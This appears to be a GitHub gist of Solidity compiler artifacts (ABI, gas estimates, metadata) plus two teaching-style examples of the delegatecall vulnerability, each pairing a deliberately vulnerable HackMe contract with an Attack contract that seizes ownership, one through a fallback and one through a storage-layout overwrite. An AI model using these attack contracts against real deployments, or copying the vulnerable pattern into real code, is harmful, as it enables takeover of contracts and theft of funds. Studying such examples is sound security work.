CODECOPY CALLDATACOPY MUL RETURNDATACOPY NUMBER PUSH5 0x736F6C6343 STOP ADDMOD 0xC STOP CALLER ",
"sourceMap": "58:123:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;77:22;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;106:73;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;77:22;;;;:::o;106:73::-;168:4;155:10;:17;;;;106:73;:::o;7:77:1:-;44:7;73:5;62:16;;7:77;;;:::o;90:118::-;177:24;195:5;177:24;:::i;:::-;172:3;165:37;90:118;;:::o;214:222::-;307:4;345:2;334:9;330:18;322:26;;358:71;426:1;415:9;411:17;402:6;358:71;:::i;:::-;214:222;;;;:::o;523:117::-;632:1;629;622:12;769:122;842:24;860:5;842:24;:::i;:::-;835:5;832:35;822:63;;881:1;878;871:12;822:63;769:122;:::o;897:139::-;943:5;981:6;968:20;959:29;;997:33;1024:5;997:33;:::i;:::-;897:139;;;;:::o;1042:329::-;1101:6;1150:2;1138:9;1129:7;1125:23;1121:32;1118:119;;;1156:79;;:::i;:::-;1118:119;1276:1;1301:53;1346:7;1337:6;1326:9;1322:22;1301:53;:::i;:::-;1291:63;;1247:117;1042:329;;;;:::o"
},
"gasEstimates": {
"creation": {
"codeDepositCost": "61400",
"executionCost": "111",
"totalCost": "61511"
},
"external": {
"doSomething(uint256)": "22520",
"someNumber()": "2407"
}
},
"methodIdentifiers": {
"doSomething(uint256)": "a6b206bf",
"someNumber()": "931c9b99"
}
},
"abi": [
{
"inputs": [
{
"internalType": "uint256",
"name": "_num",
"type": "uint256"
}
],
"name": "doSomething",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [],
"name": "someNumber",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
}
]
}
{
"compiler": {
"version": "0.8.12+commit.f00d7308"
},
"language": "Solidity",
"output": {
"abi": [
{
"inputs": [
{
"internalType": "uint256",
"name": "_num",
"type": "uint256"
}
],
"name": "doSomething",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [],
"name": "someNumber",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
}
],
"devdoc": {
"kind": "dev",
"methods": {},
"version": 1
},
"userdoc": {
"kind": "user",
"methods": {},
"version": 1
}
},
"settings": {
"compilationTarget": {
"contracts/HackMe2.sol": "Lib"
},
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
},
"sources": {
"contracts/HackMe2.sol": {
"keccak256": "0x177c48b8e3b56fca711f3fda1b3aa49d6a3c002a4202221a57a7e353a3df376d",
"license": "MIT",
"urls": [
"bzz-raw://03a19c4b0e7e76acc0295faa0002c5e6e1830aacf629afcc8e06f4a67e71049f",
"dweb:/ipfs/QmdEGuNqdNzBmWePmGqnJSTraQWAwEgR7FpijbwP8dvTyJ"
]
}
},
"version": 1
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
contract Lib {
address public owner;
function pwn() public {
owner = msg.sender;
}
}
contract HackMe {
address public owner;
Lib public lib;
constructor(Lib _lib) {
owner = msg.sender;
lib = Lib(_lib);
}
fallback() external payable {
address(lib).delegatecall(msg.data);
}
}
contract Attack {
address public hackMe;
constructor(address _hackMe) {
hackMe = _hackMe;
}
function attack() public {
hackMe.call(abi.encodeWithSignature("pwn()"));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
contract Lib {
uint public someNumber;
function doSomething(uint _num) public {
someNumber = _num;
}
}
contract HackMe {
address public lib;
address public owner;
uint public someNumber;
constructor(address _lib) {
lib = _lib;
owner = msg.sender;
}
function doSomething(uint _num) public {
lib.delegatecall(abi.encodeWithSignature("doSomething(uint256)", _num));
}
}
contract Attack {
// Make sure the storage layout is the same as HackMe
// This will allow us to correctly update the state variables
address public lib;
address public owner;
uint public someNumber;
HackMe public hackMe;
constructor(HackMe _hackMe) {
hackMe = HackMe(_hackMe);
}
function attack() public {
// override address of lib
hackMe.doSomething(uint(uint160(address(this))));
// pass any number as input, the function doSomething() below will
// be called
hackMe.doSomething(1);
}
// function signature must match HackMe.doSomething()
function doSomething(uint _num) public {
owner = msg.sender;
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment